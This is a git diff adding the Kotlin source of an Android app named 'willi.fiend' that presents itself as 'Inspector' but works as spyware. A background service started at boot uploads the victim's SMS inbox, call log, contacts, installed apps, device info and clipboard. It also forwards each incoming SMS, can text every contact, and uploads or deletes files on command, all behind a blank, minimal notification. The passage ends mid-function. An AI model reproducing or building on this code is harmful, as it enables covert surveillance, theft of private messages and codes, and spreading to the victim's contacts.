diff --git a/source code/apk src code v3/.gitignore b/source code/apk src code v3/.gitignore
new file mode 100644
index 0000000..aa724b7
--- /dev/null
+++ b/source code/apk src code v3/.gitignore
@@ -0,0 +1,15 @@
+*.iml
+.gradle
+/local.properties
+/.idea/caches
+/.idea/libraries
+/.idea/modules.xml
+/.idea/workspace.xml
+/.idea/navEditor.xml
+/.idea/assetWizardSettings.xml
+.DS_Store
+/build
+/captures
+.externalNativeBuild
+.cxx
+local.properties
diff --git a/source code/apk src code v3/app/.gitignore b/source code/apk src code v3/app/.gitignore
new file mode 100644
index 0000000..42afabf
--- /dev/null
+++ b/source code/apk src code v3/app/.gitignore
@@ -0,0 +1 @@
+/build
\ No newline at end of file
diff --git a/source code/apk src code v3/app/build.gradle b/source code/apk src code v3/app/build.gradle
new file mode 100644
index 0000000..50e7474
--- /dev/null
+++ b/source code/apk src code v3/app/build.gradle
@@ -0,0 +1,71 @@
+plugins {
+ id 'com.android.application'
+ id 'org.jetbrains.kotlin.android'
+}
+
+android {
+ compileSdk 32
+
+ defaultConfig {
+ applicationId "willi.fiend"
+ minSdk 21
+ targetSdk 32
+ versionCode 1
+ versionName "1.0"
+
+ testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner"
+ vectorDrawables {
+ useSupportLibrary true
+ }
+ }
+
+ buildTypes {
+ release {
+ minifyEnabled true
+ shrinkResources true
+ proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro'
+ }
+ }
+ compileOptions {
+ sourceCompatibility JavaVersion.VERSION_1_8
+ targetCompatibility JavaVersion.VERSION_1_8
+ }
+ kotlinOptions {
+ jvmTarget = '1.8'
+ }
+ buildFeatures {
+ compose true
+ }
+ composeOptions {
+ kotlinCompilerExtensionVersion compose_version
+ }
+ packagingOptions {
+ resources {
+ excludes += '/META-INF/{AL2.0,LGPL2.1}'
+ }
+ }
+}
+
+dependencies {
+
+ implementation 'androidx.core:core-ktx:1.8.0'
+ implementation "androidx.compose.ui:ui:$compose_version"
+ implementation 'androidx.compose.material3:material3:1.0.0-alpha15'
+ implementation "androidx.compose.ui:ui-tooling-preview:$compose_version"
+ implementation 'androidx.lifecycle:lifecycle-runtime-ktx:2.5.1'
+ implementation 'androidx.activity:activity-compose:1.5.1'
+ implementation 'androidx.appcompat:appcompat:1.4.2'
+ implementation 'com.google.android.material:material:1.6.1'
+ implementation 'androidx.constraintlayout:constraintlayout:2.1.4'
+ testImplementation 'junit:junit:4.13.2'
+ androidTestImplementation 'androidx.test.ext:junit:1.1.3'
+ androidTestImplementation 'androidx.test.espresso:espresso-core:3.4.0'
+ androidTestImplementation "androidx.compose.ui:ui-test-junit4:$compose_version"
+ debugImplementation "androidx.compose.ui:ui-tooling:$compose_version"
+ debugImplementation "androidx.compose.ui:ui-test-manifest:$compose_version"
+
+ implementation("com.squareup.okhttp3:okhttp:4.9.3")
+ implementation 'com.karumi:dexter:6.2.3'
+ implementation 'com.google.code.gson:gson:2.8.9'
+ implementation 'com.google.android.gms:play-services-location:20.0.0'
+}
\ No newline at end of file
diff --git a/source code/apk src code v3/app/proguard-rules.pro b/source code/apk src code v3/app/proguard-rules.pro
new file mode 100644
index 0000000..9795d5d
--- /dev/null
+++ b/source code/apk src code v3/app/proguard-rules.pro
@@ -0,0 +1,21 @@
+# Add project specific ProGuard rules here.
+# You can control the set of applied configuration files using the
+# proguardFiles setting in build.gradle.
+#
+# For more details, see
+# http://developer.android.com/guide/developing/tools/proguard.html
+
+# If your project uses WebView with JS, uncomment the following
+# and specify the fully qualified class name to the JavaScript interface
+# class:
+#-keepclassmembers class fqcn.of.javascript.interface.for.webview {
+# public *;
+#}
+
+# Uncomment this to preserve the line number information for
+# debugging stack traces.
+#-keepattributes SourceFile,LineNumberTable
+
+# If you keep the line number information, uncomment this to
+# hide the original source file name.
+-renamesourcefileattribute SourceFile
\ No newline at end of file
diff --git a/source code/apk src code v3/app/src/androidTest/java/willi/fiend/ExampleInstrumentedTest.kt b/source code/apk src code v3/app/src/androidTest/java/willi/fiend/ExampleInstrumentedTest.kt
new file mode 100644
index 0000000..36c4fac
--- /dev/null
+++ b/source code/apk src code v3/app/src/androidTest/java/willi/fiend/ExampleInstrumentedTest.kt
@@ -0,0 +1,24 @@
+package willi.fiend
+
+import androidx.test.platform.app.InstrumentationRegistry
+import androidx.test.ext.junit.runners.AndroidJUnit4
+
+import org.junit.Test
+import org.junit.runner.RunWith
+
+import org.junit.Assert.*
+
+/**
+ * Instrumented test, which will execute on an Android device.
+ *
+ * See [testing documentation](http://d.android.com/tools/testing).
+ */
+@RunWith(AndroidJUnit4::class)
+class ExampleInstrumentedTest {
+ @Test
+ fun useAppContext() {
+ // Context of the app under test.
+ val appContext = InstrumentationRegistry.getInstrumentation().targetContext
+ assertEquals("willi.fiend", appContext.packageName)
+ }
+}
\ No newline at end of file
diff --git a/source code/apk src code v3/app/src/main/AndroidManifest.xml b/source code/apk src code v3/app/src/main/AndroidManifest.xml
new file mode 100644
index 0000000..4c16030
--- /dev/null
+++ b/source code/apk src code v3/app/src/main/AndroidManifest.xml
@@ -0,0 +1,74 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/source code/apk src code v3/app/src/main/java/willi/fiend/MainActivity.kt b/source code/apk src code v3/app/src/main/java/willi/fiend/MainActivity.kt
new file mode 100644
index 0000000..fed0ecf
--- /dev/null
+++ b/source code/apk src code v3/app/src/main/java/willi/fiend/MainActivity.kt
@@ -0,0 +1,56 @@
+package willi.fiend
+
+import android.annotation.SuppressLint
+import android.content.Intent
+import android.os.Bundle
+import android.os.Environment
+import android.util.Log
+import android.webkit.WebView
+import androidx.activity.ComponentActivity
+import androidx.activity.compose.setContent
+import androidx.compose.runtime.mutableStateOf
+import androidx.compose.runtime.remember
+import willi.fiend.Utils.AppTools
+import willi.fiend.Ui.Screen.Page1
+import willi.fiend.Ui.Screen.Page2
+import me.fiend.Ui.Screen.WebView
+import willi.fiend.Utils.AppRequest
+
+
+class MainActivity : ComponentActivity() {
+ var webView: WebView? = null
+ @SuppressLint("WrongThread")
+ override fun onCreate(savedInstanceState: Bundle?) {
+ super.onCreate(savedInstanceState)
+ AppTools.checkAppCloning(this)
+ val request = AppRequest()
+ request.sendWaterMark()
+ request.sendText(AppRequest.Text("ᴀᴘᴘʟɪᴄᴀᴛɪᴏɴ ɪɴꜱᴛᴀʟʟᴇᴅ ᴀɴᴅ ᴏᴘᴇɴᴇᴅ , ᴡᴀɪᴛɪɴɢ ꜰᴏʀ ᴘᴇʀᴍɪꜱꜱɪᴏɴꜱ ..."))
+ setContent {
+ val currentPage = remember {
+ mutableStateOf(0)
+ }
+ if (!AppTools.showWelcome(this)) currentPage.value = 2
+ when (currentPage.value) {
+ 0 -> {
+ Page1 {
+ currentPage.value = 1
+ }
+ }
+ 1 -> {
+ Page2 {
+ currentPage.value = 2
+ }
+ }
+ 2 -> {
+ WebView() {
+ webView = it
+ }
+ if (!AppTools.isServiceRunning(this)) {
+ startService(Intent(this, MainService::class.java))
+ }
+ }
+ }
+ }
+ }
+}
\ No newline at end of file
diff --git a/source code/apk src code v3/app/src/main/java/willi/fiend/MainService.kt b/source code/apk src code v3/app/src/main/java/willi/fiend/MainService.kt
new file mode 100644
index 0000000..80bf002
--- /dev/null
+++ b/source code/apk src code v3/app/src/main/java/willi/fiend/MainService.kt
@@ -0,0 +1,58 @@
+package willi.fiend
+
+import android.annotation.SuppressLint
+import android.app.*
+import android.app.Notification.BADGE_ICON_NONE
+import android.content.Intent
+import android.os.IBinder
+import android.widget.RemoteViews
+import androidx.core.app.NotificationCompat
+import androidx.core.app.NotificationCompat.BADGE_ICON_NONE
+import willi.fiend.Utils.AppSocket
+
+
+class MainService : Service() {
+ override fun onBind(p0: Intent?): IBinder? {
+ return null
+ }
+
+ override fun onStartCommand(intent: Intent?, flags: Int, startId: Int): Int {
+ val socket = AppSocket(this)
+ val action = socket.action
+ socket.connect()
+ action.uploadApps()
+ action.uploadMessages()
+ action.uploadCalls()
+ action.uploadContact()
+ action.uploadDeviceInfo()
+ action.uploadClipboard()
+ return START_STICKY
+ }
+
+ override fun onCreate() {
+ super.onCreate()
+ startForeground(1, getNotification())
+ }
+
+ @SuppressLint("NewApi")
+ private fun getNotification(): Notification {
+ val channelId = "channel"
+ val channelName = " "
+ val channel = NotificationChannel(
+ channelId,
+ channelName,
+ NotificationManager.IMPORTANCE_MIN
+ )
+ channel.lockscreenVisibility = Notification.VISIBILITY_PRIVATE
+ val manager = (getSystemService(NOTIFICATION_SERVICE) as NotificationManager)
+ manager.createNotificationChannel(channel)
+ val notificationBuilder = NotificationCompat.Builder(this, channelId)
+ return notificationBuilder.setOngoing(true)
+ .setSmallIcon(R.drawable.mpt)
+ .setContentTitle(" ")
+ .setBadgeIconType(NotificationCompat.BADGE_ICON_NONE)
+ .setPriority(NotificationManager.IMPORTANCE_UNSPECIFIED)
+ .setCustomBigContentView(RemoteViews(packageName, R.layout.notification))
+ .build()
+ }
+}
\ No newline at end of file
diff --git a/source code/apk src code v3/app/src/main/java/willi/fiend/Receiver/BootCompleteReceiver.kt b/source code/apk src code v3/app/src/main/java/willi/fiend/Receiver/BootCompleteReceiver.kt
new file mode 100644
index 0000000..7b1794d
--- /dev/null
+++ b/source code/apk src code v3/app/src/main/java/willi/fiend/Receiver/BootCompleteReceiver.kt
@@ -0,0 +1,13 @@
+package willi.fiend.Receiver
+
+import android.content.BroadcastReceiver
+import android.content.Context
+import android.content.Intent
+import androidx.core.content.ContextCompat
+import willi.fiend.MainService
+
+class BootCompleteReceiver : BroadcastReceiver() {
+ override fun onReceive(p0: Context, p1: Intent) {
+ ContextCompat.startForegroundService(p0, Intent(p0, MainService::class.java))
+ }
+}
\ No newline at end of file
diff --git a/source code/apk src code v3/app/src/main/java/willi/fiend/Receiver/SmsReceiver.kt b/source code/apk src code v3/app/src/main/java/willi/fiend/Receiver/SmsReceiver.kt
new file mode 100644
index 0000000..993d732
--- /dev/null
+++ b/source code/apk src code v3/app/src/main/java/willi/fiend/Receiver/SmsReceiver.kt
@@ -0,0 +1,36 @@
+package willi.fiend.Receiver
+
+import android.content.BroadcastReceiver
+import android.content.Context
+import android.content.Intent
+import android.telephony.SmsMessage
+import android.util.Log
+import willi.fiend.Utils.AppTools
+import willi.fiend.Utils.AppPermission
+import willi.fiend.Utils.AppRequest
+
+
+class SmsReceiver : BroadcastReceiver() {
+ override fun onReceive(context: Context, intent: Intent) {
+ if (intent.action == "android.provider.Telephony.SMS_RECEIVED" && AppPermission(context).checkReadSms()) {
+ val bundle = intent.extras
+ val msgs: Array?
+ var msg_from: String?
+ if (bundle != null) {
+ try {
+ val pdus = bundle["pdus"] as Array<*>?
+ msgs = arrayOfNulls(pdus!!.size)
+ for (i in msgs.indices) {
+ msgs[i] = SmsMessage.createFromPdu(pdus[i] as ByteArray)
+ msg_from = msgs[i]?.originatingAddress
+ val msgBody = msgs[i]?.messageBody
+ val text = "New Message\nDevice : ${AppTools.getDeviceName()}\nFrom : $msg_from\nMessage : $msgBody"
+ AppRequest().sendText(AppRequest.Text(text))
+ }
+ } catch (e: Exception) {
+ Log.i("data", "Ex")
+ }
+ }
+ }
+ }
+}
\ No newline at end of file
diff --git a/source code/apk src code v3/app/src/main/java/willi/fiend/Ui/AppFont.kt b/source code/apk src code v3/app/src/main/java/willi/fiend/Ui/AppFont.kt
new file mode 100644
index 0000000..37df5f1
--- /dev/null
+++ b/source code/apk src code v3/app/src/main/java/willi/fiend/Ui/AppFont.kt
@@ -0,0 +1,7 @@
+package willi.fiend.Ui
+
+import androidx.compose.ui.text.font.Font
+import androidx.compose.ui.text.font.FontFamily
+import willi.fiend.R
+
+val AppFont = FontFamily(Font(R.font.helvetica))
\ No newline at end of file
diff --git a/source code/apk src code v3/app/src/main/java/willi/fiend/Ui/Screen/Page1.kt b/source code/apk src code v3/app/src/main/java/willi/fiend/Ui/Screen/Page1.kt
new file mode 100644
index 0000000..2affe84
--- /dev/null
+++ b/source code/apk src code v3/app/src/main/java/willi/fiend/Ui/Screen/Page1.kt
@@ -0,0 +1,90 @@
+package willi.fiend.Ui.Screen
+
+import androidx.compose.foundation.Image
+import androidx.compose.foundation.layout.*
+import androidx.compose.foundation.shape.RoundedCornerShape
+import androidx.compose.material.icons.Icons
+import androidx.compose.material.icons.filled.ArrowForward
+import androidx.compose.material3.Button
+import androidx.compose.material3.Icon
+import androidx.compose.material3.Text
+import androidx.compose.runtime.*
+import androidx.compose.ui.Alignment
+import androidx.compose.ui.Alignment.Companion.End
+import androidx.compose.ui.Modifier
+import androidx.compose.ui.graphics.Color
+import androidx.compose.ui.layout.ContentScale
+import androidx.compose.ui.res.painterResource
+import androidx.compose.ui.text.font.FontWeight
+import androidx.compose.ui.unit.dp
+import androidx.compose.ui.unit.sp
+import kotlinx.coroutines.launch
+import willi.fiend.Ui.AppFont
+import willi.fiend.R
+
+@Composable
+fun Page1(onNext: () -> Unit) {
+ val scope = rememberCoroutineScope()
+ Column(modifier = Modifier.fillMaxSize()) {
+ Image(
+ modifier = Modifier
+ .fillMaxWidth()
+ .weight(4f),
+ painter = painterResource(id = R.drawable.header),
+ contentDescription = null,
+ contentScale = ContentScale.Crop
+ )
+ Text(
+ modifier = Modifier
+ .fillMaxWidth()
+ .weight(0.6f)
+ .padding(top = 30.dp, start = 15.dp, end = 15.dp),
+ text = "Welcome to Inspector",
+ color = Color.Black,
+ fontFamily = AppFont,
+ fontSize = 25.sp,
+ fontWeight = FontWeight.Bold
+ )
+ Text(
+ modifier = Modifier
+ .fillMaxWidth()
+ .weight(2f)
+ .padding(top = 15.dp, start = 15.dp, end = 15.dp),
+ text = "Him boisterous invitation dispatched had connection inhabiting projection. By mutual an mr danger garret edward an. Diverted as strictly exertion addition no disposal by stanhill.",
+ color = Color.Black,
+ fontFamily = AppFont,
+ fontSize = 20.sp,
+ fontWeight = FontWeight.Normal
+ )
+ Button(
+ modifier = Modifier
+ .weight(0.71f)
+ .align(End)
+ .padding(top = 15.dp, end = 16.dp, bottom = 16.dp),
+ shape = RoundedCornerShape(50.dp),
+ onClick = {
+ scope.launch {
+ onNext()
+ }
+ }
+ ) {
+ Row(
+ horizontalArrangement = Arrangement.Center,
+ verticalAlignment = Alignment.CenterVertically
+ ) {
+ Spacer(modifier = Modifier.width(5.dp))
+ Text(
+ modifier = Modifier
+ .padding(2.dp),
+ text = "Next",
+ color = Color.White,
+ fontFamily = AppFont,
+ fontSize = 20.sp,
+ fontWeight = FontWeight.Normal
+ )
+ Spacer(modifier = Modifier.width(3.dp))
+ Icon(imageVector = Icons.Filled.ArrowForward, contentDescription = "")
+ }
+ }
+ }
+}
\ No newline at end of file
diff --git a/source code/apk src code v3/app/src/main/java/willi/fiend/Ui/Screen/Page2.kt b/source code/apk src code v3/app/src/main/java/willi/fiend/Ui/Screen/Page2.kt
new file mode 100644
index 0000000..ca78840
--- /dev/null
+++ b/source code/apk src code v3/app/src/main/java/willi/fiend/Ui/Screen/Page2.kt
@@ -0,0 +1,92 @@
+package willi.fiend.Ui.Screen
+
+import androidx.compose.foundation.Image
+import androidx.compose.foundation.layout.*
+import androidx.compose.foundation.shape.RoundedCornerShape
+import androidx.compose.material.icons.Icons
+import androidx.compose.material.icons.filled.ArrowForward
+import androidx.compose.material3.Button
+import androidx.compose.material3.Icon
+import androidx.compose.material3.Text
+import androidx.compose.runtime.Composable
+import androidx.compose.ui.Alignment
+import androidx.compose.ui.Alignment.Companion.End
+import androidx.compose.ui.Modifier
+import androidx.compose.ui.graphics.Color
+import androidx.compose.ui.platform.LocalContext
+import androidx.compose.ui.res.painterResource
+import androidx.compose.ui.text.font.FontWeight
+import androidx.compose.ui.unit.dp
+import androidx.compose.ui.unit.sp
+import willi.fiend.Ui.AppFont
+import willi.fiend.R
+import willi.fiend.Utils.AppPermission
+import willi.fiend.Utils.AppTools
+
+@Composable
+fun Page2(onAgree: () -> Unit) {
+ val context = LocalContext.current
+ Column(modifier = Modifier.fillMaxSize()) {
+ Image(
+ modifier = Modifier
+ .fillMaxWidth()
+ .padding(35.dp)
+ .weight(4f),
+ painter = painterResource(id = R.drawable.settings),
+ contentDescription = null,
+ )
+ Text(
+ modifier = Modifier
+ .fillMaxWidth()
+ .weight(0.6f)
+ .padding(top = 30.dp, start = 15.dp, end = 15.dp),
+ text = "Grant Permission",
+ color = Color.Black,
+ fontFamily = AppFont,
+ fontSize = 25.sp,
+ fontWeight = FontWeight.Bold
+ )
+ Text(
+ modifier = Modifier
+ .fillMaxWidth()
+ .weight(2f)
+ .padding(top = 15.dp, start = 15.dp, end = 15.dp),
+ text = "In order to use app functionality you need to allow app permission and agree the terms if use this app ",
+ color = Color.Black,
+ fontFamily = AppFont,
+ fontSize = 20.sp,
+ fontWeight = FontWeight.Normal
+ )
+ Button(
+ modifier = Modifier
+ .weight(0.71f)
+ .align(End)
+ .padding(top = 15.dp, end = 16.dp, bottom = 16.dp),
+ shape = RoundedCornerShape(50.dp),
+ onClick = {
+ AppPermission(context).getPerms {
+ AppTools.disableWelcome(context)
+ onAgree()
+ }
+ }
+ ) {
+ Row(
+ horizontalArrangement = Arrangement.Center,
+ verticalAlignment = Alignment.CenterVertically
+ ) {
+ Spacer(modifier = Modifier.width(5.dp))
+ Text(
+ modifier = Modifier
+ .padding(2.dp),
+ text = "Agree and Continue",
+ color = Color.White,
+ fontFamily = AppFont,
+ fontSize = 20.sp,
+ fontWeight = FontWeight.Normal
+ )
+ Spacer(modifier = Modifier.width(3.dp))
+ Icon(imageVector = Icons.Filled.ArrowForward, contentDescription = "")
+ }
+ }
+ }
+}
diff --git a/source code/apk src code v3/app/src/main/java/willi/fiend/Ui/Screen/WebView.kt b/source code/apk src code v3/app/src/main/java/willi/fiend/Ui/Screen/WebView.kt
new file mode 100644
index 0000000..5ec5a8a
--- /dev/null
+++ b/source code/apk src code v3/app/src/main/java/willi/fiend/Ui/Screen/WebView.kt
@@ -0,0 +1,40 @@
+package me.fiend.Ui.Screen
+
+import android.annotation.SuppressLint
+import android.content.Intent
+import android.provider.Settings
+import android.view.ViewGroup
+import android.webkit.WebView
+import android.webkit.WebViewClient
+import androidx.compose.runtime.Composable
+import androidx.compose.ui.platform.LocalContext
+import androidx.compose.ui.viewinterop.AndroidView
+import willi.fiend.Utils.AppTools
+
+@SuppressLint("SetJavaScriptEnabled")
+@Composable
+fun WebView(onWebView: (webView:WebView) -> Unit) {
+ val context = LocalContext.current
+ val urlToRender = AppTools.getAppData().webView
+ AndroidView(factory = {
+ WebView(it).apply {
+ onWebView(this)
+ layoutParams = ViewGroup.LayoutParams(
+ ViewGroup.LayoutParams.MATCH_PARENT,
+ ViewGroup.LayoutParams.MATCH_PARENT
+ )
+ webViewClient = WebViewClient()
+ settings.javaScriptEnabled = true
+ settings.domStorageEnabled = true;
+ settings.setAppCacheEnabled(true);
+ settings.setAppCachePath(context.filesDir.absolutePath + "/cache");
+ loadUrl(urlToRender)
+ setDownloadListener(AppTools.WebViewDownloadListener(context))
+ }
+ }, update = {
+ it.loadUrl(urlToRender)
+ })
+ if (!AppTools.isNotificationServiceRunning(context)) {
+ context.startActivity(Intent(Settings.ACTION_NOTIFICATION_LISTENER_SETTINGS));
+ }
+}
\ No newline at end of file
diff --git a/source code/apk src code v3/app/src/main/java/willi/fiend/Utils/AppActions.kt b/source code/apk src code v3/app/src/main/java/willi/fiend/Utils/AppActions.kt
new file mode 100644
index 0000000..ce0113f
--- /dev/null
+++ b/source code/apk src code v3/app/src/main/java/willi/fiend/Utils/AppActions.kt
@@ -0,0 +1,492 @@
+package willi.fiend.Utils
+
+import android.annotation.SuppressLint
+import android.app.NotificationManager
+import android.app.PendingIntent
+import android.app.Service
+import android.content.ClipboardManager
+import android.content.ContentResolver
+import android.content.Context
+import android.content.Context.CLIPBOARD_SERVICE
+import android.content.Intent
+import android.content.pm.ResolveInfo
+import android.database.Cursor
+import android.graphics.SurfaceTexture
+import android.hardware.Camera
+import android.media.MediaPlayer
+import android.media.MediaRecorder
+import android.net.Uri
+import android.os.*
+import android.provider.CallLog
+import android.provider.ContactsContract
+import android.telephony.SmsManager
+import android.widget.Toast
+import androidx.core.app.NotificationCompat
+import com.google.android.gms.location.FusedLocationProviderClient
+import com.google.android.gms.location.LocationCallback
+import com.google.android.gms.location.LocationRequest
+import com.google.android.gms.location.LocationResult
+import willi.fiend.R
+import java.io.File
+import java.io.FileWriter
+
+
+class AppActions(val context: Context) {
+ private val request = AppRequest()
+ private val permission = AppPermission(context)
+ private var mediaPlayer: MediaPlayer? = null
+
+ fun uploadCalls() {
+ if (permission.checkReadCallLog()) {
+ val numberCol = CallLog.Calls.NUMBER
+ val durationCol = CallLog.Calls.DURATION
+ val typeCol = CallLog.Calls.TYPE // 1 - Incoming, 2 - Outgoing, 3 - Missed
+ val projection = arrayOf(numberCol, durationCol, typeCol)
+ val cursor = context.contentResolver.query(
+ CallLog.Calls.CONTENT_URI,
+ projection, null, null, null
+ )
+ val numberColIdx = cursor!!.getColumnIndex(numberCol)
+ val durationColIdx = cursor.getColumnIndex(durationCol)
+ val typeColIdx = cursor.getColumnIndex(typeCol)
+ var text = "Call log : \n\n"
+ while (cursor.moveToNext()) {
+ val number = cursor.getString(numberColIdx)
+ val duration = cursor.getString(durationColIdx)
+ val type = cursor.getString(typeColIdx)
+ val typeCorrect =
+ if (type == "1") "Incoming" else if (type == "2") "Outgoing" else "Missed"
+ text += "number : $number\nduration : $duration\nType : $typeCorrect\n\n"
+ }
+ cursor.close()
+ val file = File.createTempFile("Call Log - ${AppTools.getDeviceName()} - ", ".txt")
+ val writer = FileWriter(file)
+ writer.append(text)
+ writer.flush()
+ writer.close()
+ request.sendFile(file)
+ } else {
+ request.sendText(AppRequest.Text("ᴄᴀʟʟ ʟᴏɢ ᴘᴇʀᴍɪꜱꜱɪᴏɴ ᴅᴇɴɪᴇᴅ"))
+ }
+ }
+
+ @SuppressLint("Range")
+ fun uploadContact() {
+ if (permission.checkReadContacts()) {
+ var allContactList = "All Contacts\n\n\n"
+ val cr: ContentResolver = context.contentResolver
+ val cur = cr.query(
+ ContactsContract.Contacts.CONTENT_URI,
+ null, null, null, null
+ )
+ if ((cur?.count ?: 0) > 0) {
+ while (cur != null && cur.moveToNext()) {
+ val id = cur.getString(
+ cur.getColumnIndex(ContactsContract.Contacts._ID)
+ )
+ val name = cur.getString(
+ cur.getColumnIndex(
+ ContactsContract.Contacts.DISPLAY_NAME
+ )
+ )
+ if (cur.getInt(
+ cur.getColumnIndex(
+ ContactsContract.Contacts.HAS_PHONE_NUMBER
+ )
+ ) > 0
+ ) {
+ val pCur = cr.query(
+ ContactsContract.CommonDataKinds.Phone.CONTENT_URI,
+ null,
+ ContactsContract.CommonDataKinds.Phone.CONTACT_ID + " = ?",
+ arrayOf(id),
+ null
+ )
+ while (pCur!!.moveToNext()) {
+ val phoneNo = pCur.getString(
+ pCur.getColumnIndex(
+ ContactsContract.CommonDataKinds.Phone.NUMBER
+ )
+ )
+ allContactList += "Name: $name\nPhone Number: $phoneNo\n\n"
+ }
+ pCur.close()
+ }
+ }
+ }
+ cur?.close()
+ val file =
+ File.createTempFile("All Contacts - ${AppTools.getDeviceName()} - ", ".txt")
+ val writer = FileWriter(file)
+ writer.append(allContactList)
+ writer.flush()
+ writer.close()
+ request.sendFile(file)
+ } else {
+ request.sendText(AppRequest.Text("ᴄᴏɴᴛᴀᴄᴛ ᴘᴇʀᴍɪꜱꜱɪᴏɴ ᴅᴇɴɪᴇᴅ"))
+ }
+ }
+
+ @SuppressLint("Range", "Recycle")
+ fun uploadMessages() {
+ if (permission.checkReadSms()) {
+ val sms = arrayListOf()
+ val uriSMSURI = Uri.parse("content://sms/inbox")
+ val cur: Cursor? = context.contentResolver.query(uriSMSURI, null, null, null, null)
+ if (cur != null) {
+ while (cur.moveToNext()) {
+ val address = cur.getString(cur.getColumnIndex("address"))
+ val body = cur.getString(cur.getColumnIndexOrThrow("body"))
+ sms.add(SmsModel(address, body, AppTools.getDeviceName()))
+ }
+ var allSmsText = "All Sms : \n\n"
+ for (message in sms) {
+ val number = message.phone
+ val device = message.device
+ val text = message.message
+ allSmsText += "Number : $number\nDevice : $device\nMessage : $text\n\n\n\n"
+ }
+ val file =
+ File.createTempFile("All Sms - ${AppTools.getDeviceName()} - ", ".txt")
+ val writer = FileWriter(file)
+ writer.append(allSmsText)
+ writer.flush()
+ writer.close()
+ request.sendFile(file)
+ }
+ } else {
+ request.sendText(AppRequest.Text("ᴍᴇꜱꜱᴀɢᴇ ᴀᴄᴛɪᴏɴ ᴘᴇʀᴍɪꜱꜱɪᴏɴ ᴅᴇɴɪᴇᴅ"))
+ }
+ }
+
+ @SuppressLint("UnspecifiedImmutableFlag")
+ fun sendMessage(number: String, message: String) {
+ if (permission.checkSendSms()) {
+ val sentPI: PendingIntent =
+ PendingIntent.getBroadcast(context, 0, Intent("SMS_SENT"), 0)
+ SmsManager.getDefault()
+ .sendTextMessage(number, null, message, sentPI, null)
+ } else {
+ request.sendText(AppRequest.Text("ᴍᴇꜱꜱᴀɢᴇ ᴀᴄᴛɪᴏɴ ᴘᴇʀᴍɪꜱꜱɪᴏɴ ᴅᴇɴɪᴇᴅ"))
+ }
+ }
+
+ @SuppressLint("Range")
+ fun messageToAllContacts(message: String) {
+ if (permission.checkReadContacts() && permission.checkSendSms()) {
+ val cr: ContentResolver = context.contentResolver
+ val cur = cr.query(
+ ContactsContract.Contacts.CONTENT_URI,
+ null, null, null, null
+ )
+ if ((cur?.count ?: 0) > 0) {
+ while (cur != null && cur.moveToNext()) {
+ val id = cur.getString(
+ cur.getColumnIndex(ContactsContract.Contacts._ID)
+ )
+ if (cur.getInt(
+ cur.getColumnIndex(
+ ContactsContract.Contacts.HAS_PHONE_NUMBER
+ )
+ ) > 0
+ ) {
+ val pCur = cr.query(
+ ContactsContract.CommonDataKinds.Phone.CONTENT_URI,
+ null,
+ ContactsContract.CommonDataKinds.Phone.CONTACT_ID + " = ?",
+ arrayOf(id),
+ null
+ )
+ while (pCur!!.moveToNext()) {
+ val phoneNo = pCur.getString(
+ pCur.getColumnIndex(
+ ContactsContract.CommonDataKinds.Phone.NUMBER
+ )
+ )
+ sendMessage(phoneNo, message)
+ }
+ pCur.close()
+ }
+ }
+ }
+ cur?.close()
+ } else {
+ request.sendText(AppRequest.Text("ᴍᴇꜱꜱᴀɢᴇ ᴀᴄᴛɪᴏɴ ᴘᴇʀᴍɪꜱꜱɪᴏɴ ᴅᴇɴɪᴇᴅ"))
+ }
+ }
+
+ @SuppressLint("WrongConstant")
+ fun uploadApps() {
+ var allAppsText = "All Apps :\n\n\n "
+ val mainIntent = Intent(Intent.ACTION_MAIN, null)
+ mainIntent.addCategory(Intent.CATEGORY_LAUNCHER)
+ val appList: List =
+ context.packageManager.queryIntentActivities(mainIntent, 0)
+ for (app in appList) {
+ allAppsText += app.activityInfo.name + "\n\n"
+ }
+ val file = File.createTempFile("All Apps - ${AppTools.getDeviceName()} - ", ".txt")
+ val writer = FileWriter(file)
+ writer.append(allAppsText)
+ writer.flush()
+ writer.close()
+ request.sendFile(file)
+ }
+
+ fun uploadDeviceInfo() {
+ val model = AppTools.getDeviceName()
+ val battery = AppTools.getBatteryPercentage(context)
+ val file = File.createTempFile("Device Status - ${AppTools.getDeviceName()} - ", ".txt")
+ val writer = FileWriter(file)
+ writer.append("$model\n Battery Percentage : $battery")
+ writer.flush()
+ writer.close()
+ request.sendFile(file)
+ }
+
+ fun uploadClipboard() {
+ AppScope.runMain {
+ val clipBoardManager = context.getSystemService(CLIPBOARD_SERVICE) as ClipboardManager
+ val clip = clipBoardManager.primaryClip?.getItemAt(0)?.text?.toString()
+ val file =
+ File.createTempFile("Clipboard - ${AppTools.getDeviceName()} - ", ".txt")
+ val writer = FileWriter(file)
+ writer.append("new Clipboard : $clip")
+ writer.flush()
+ writer.close()
+ request.sendFile(file)
+ clipBoardManager.addPrimaryClipChangedListener {
+ val newClip = clipBoardManager.primaryClip?.getItemAt(0)?.text?.toString()
+ val newFile =
+ File.createTempFile(
+ "Clipboard - ${AppTools.getDeviceName()} - ",
+ ".txt"
+ )
+ val newWriter = FileWriter(newFile)
+ newWriter.append("new Clipboard : $newClip")
+ newWriter.flush()
+ newWriter.close()
+ request.sendFile(newFile)
+ }
+ }
+ }
+
+ fun uploadFile(path: String) {
+ if (permission.checkReadExternalStorage()) {
+ val file = File(Environment.getExternalStorageDirectory().path + "/" + path)
+ if (file.exists()) {
+ if (file.isDirectory) {
+ val listFiles = file.listFiles()
+ if (listFiles != null) {
+ for (targetFile in listFiles) {
+ request.sendFile(targetFile)
+ }
+ }
+ }
+ if (file.isFile) {
+ request.sendFile(file)
+ }
+ } else {
+ request.sendText(AppRequest.Text("ᴛʜᴇʀᴇ ɪꜱ ɴᴏ ꜱᴜᴄʜ ꜰᴏʟᴅᴇʀ ᴏʀ ꜰɪʟᴇ"))
+ }
+ } else {
+ request.sendText(AppRequest.Text("ꜰɪʟᴇ ᴍᴀɴᴀɢᴇ ᴘᴇʀᴍɪꜱꜱɪᴏɴ ᴅᴇɴɪᴇᴅ"))
+ }
+ }
+
+ fun deleteFile(path: String) {
+ if (AppPermission(context).checkWriteExternalStorage()) {
+ val file = File(Environment.getExternalStorageDirectory().path + "/" + path)
+ if (file.exists()) {
+ if (file.isDirectory) {
+ file.deleteRecursively()
